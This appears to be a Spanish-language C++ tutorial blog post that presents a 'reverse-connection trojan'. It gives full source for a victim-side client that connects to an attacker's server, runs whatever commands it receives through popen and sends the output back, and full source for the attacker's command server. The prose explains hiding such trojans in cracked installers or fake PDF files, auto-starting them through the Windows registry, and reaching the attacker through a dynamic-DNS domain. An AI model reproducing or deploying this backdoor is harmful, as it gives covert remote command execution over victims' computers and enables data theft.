miércoles, 10 de junio de 2015

36 - Tutorial de C++ en español - winsock (Troyano de conexión indirecta)




En este capítulo del tutorial de C++ continuamos con la librería winsock2.h, en esta ocasión veremos un aspecto que está intimamente ligado a C++, como lo es la seguridad informática, C++ en ocasiones puede ser utilizado para crear virus y entre ellos se encuentran los troyanos. Los troyanos son un tipo de virus silencioso, generalemente creados para el robo de información, es decir, no son del tipo de virus que se dedican a consumir recursos, a dañar archivos, etc, ... aunque como veremos también puede hacer esas cosas. Su principal objetivo es abrir una puerta trasera en la víctima (backdoor) para ejecutar comandos del sistema y así poder tomar el control del PC.

Un troyano de conexión indirecta es aquel donde el cliente es la víctima y el atacante el servidor, es de conexión indirecta, ya que el servidor no podrá actuar sobre el cliente mientras que este no se conecte al mismo.

Este tipo de virus se suelen ocultar en instaladores de programas de dudosa procedencia, como los programas que vienen con los crackeadores, o pueden hacerse pasar por archivos, por ejemplo, un archivo PDF y cuando la víctima lo ejecuta, desde ese mismo momento su PC queda infectado. Los virus se guardan en el registro de Windows para que se autoarranquen cada vez que se inicia Windows. Cómo ejecutar programas al inicio de Windows ya lo vimos en el capítulo 30 del tutorial.

Para crear un servidor en el ordenador que acepte conexiones remotas es requisito que el router esté correctamente configurado y preferiblemente obtener un nombre de dominio, por ejemplo en NO-IP para así no preocuparse de sí se tiene una ip estática o no.

Cliente troyano (Víctima)


#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <winsock2.h>

using namespace std;

void cliente_troyano()
{
 char * host = "localhost";
 int port = 80;
 /* Estructura de datos con información del winsock */
 WSADATA wsa; 
 /* Estructura de datos para especificar un servidor local o remoto para conectar un socket */
 SOCKADDR_IN server;
 /* Objeto que permite establecer conexiones locales o remotas e intercambiar datos */
 SOCKET sock;

 /* Inicializar winsock, comprobar versión 2.2 */
 if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
 {
  cout << "Error: " << WSAGetLastError() << endl;                       
 }
 else
 {
   
  cout << "Inicializando ... " << endl;

  /* Crear un socket */
  if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
  {
   cout << "No se pudo crear el socket: " << WSAGetLastError() << endl;       
  }
  else /* Se ha creado el socket */
  {
   
   cout << "Socket creado correctamente ... " << endl;

   /* Configurar la conexión al servidor */
   server.sin_family = PF_INET;
   server.sin_port = htons(port);
   server.sin_addr = *((struct in_addr *)gethostbyname(host)->h_addr);

   /* Conectar al servidor */
   connect(sock, (LPSOCKADDR)&server, sizeof(struct sockaddr));
   Sleep(1000);

   /* Respuesta del servidor */
   char serverMsg[2048];
   cout << "Esperando una respuesta del servidor ... " << endl;
   serverMsg[0] = '\0';
   recv(sock, serverMsg, 2048, 0);
   cout << "Respuesta del servidor: " << serverMsg << endl;
   
   /* Limpiar la consola */
   system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE * msg = popen(serverMsg, "r");
   char buffer[2048];
   string resultado = "";
   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(sock, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   closesocket(sock);
   WSACleanup();
   //Llamar nuevamente a la función
   cliente_troyano();
  }
 }
}

int main(int argc, char *argv[])
{
 cliente_troyano();
 system("PAUSE");
 return EXIT_SUCCESS;
}




Servidor (Atacante)

#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <winsock2.h>

using namespace std;

void servidor_troyano()
{
 char * host = "localhost";
 int port = 80;
 WSADATA wsa;
 struct sockaddr_in server, client;
 SOCKET s, open_socket;
 
 cout << "Inicializando winsock ..." << endl;
 
 /* Comprobar versión de winsock, 2.2 */
 if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
 {
  cout << "Error: " << WSAGetLastError() << endl;
 }
 else
 {
  cout << "Inicializando un socket ..." << endl;
  
  /* Crear un socket para vincular al servidor */
  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == INVALID_SOCKET)
  {
   cout << "No se puede crear el socket: " << WSAGetLastError() << endl;
  }
  else
  {
   cout << "Socket creado ..." << endl;
   //Preparando el server
   server.sin_family = AF_INET;
   server.sin_addr = *((struct in_addr *)gethostbyname(host)->h_addr);
   server.sin_port = htons(port);
   
   /* Vincular el socket con el server */
   if (bind(s, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
   {
    cout << "No se puede iniciar el server: " << WSAGetLastError() << endl;
   }
   else
   {
    /* Servidor a la escucha para un máximo de mil clientes */
    listen(s, 1000);
    cout << "Server iniciado ..." << endl;
    cout << "Esperando conexiones ...." << endl;
    int client_in = sizeof(struct sockaddr_in);
    
    /* A la espera para aceptar conexiones  */
    /* Crear un nuevo socket para intercambiar información con el cliente */
    open_socket = accept(s, (struct sockaddr *)&client, &client_in);
     
    if (open_socket == INVALID_SOCKET)
    {
     cout << "No se pudo conectar el socket: " << WSAGetLastError() << endl;
    }
    else
    {
    cout << "Un cliente se ha conectado!!!" << endl;
    /* Enviar comandos del sistema al cliente */
    cout << "Enviar comando: ";
    char comando[2048];
    cin.getline(comando, sizeof(comando));
    strcat(comando, "\r\n");
    send(open_socket, comando, strlen(comando), 0);
    Sleep(1000);
    
    /* Obtener la respuesta del comando enviado */
    comando[0] = '\0';
    recv(open_socket, comando, 2048, 0); 
    cout << "Respuesta de la victima: " << endl; 
    cout << endl << endl << "************************************" << endl << endl;
    cout << comando;
    cout << endl << endl << "************************************" << endl << endl;
    
    /* Cerrar los sockets */
    closesocket(s);
    closesocket(open_socket);
    WSACleanup();
    system("PAUSE");
    }
    /* Llamar de nuevo a la función */
    servidor_troyano();
   }
  }
 }
}

int main(int argc , char *argv[])
{
    servidor_troyano();
    system("PAUSE");
    return EXIT_SUCCESS;
}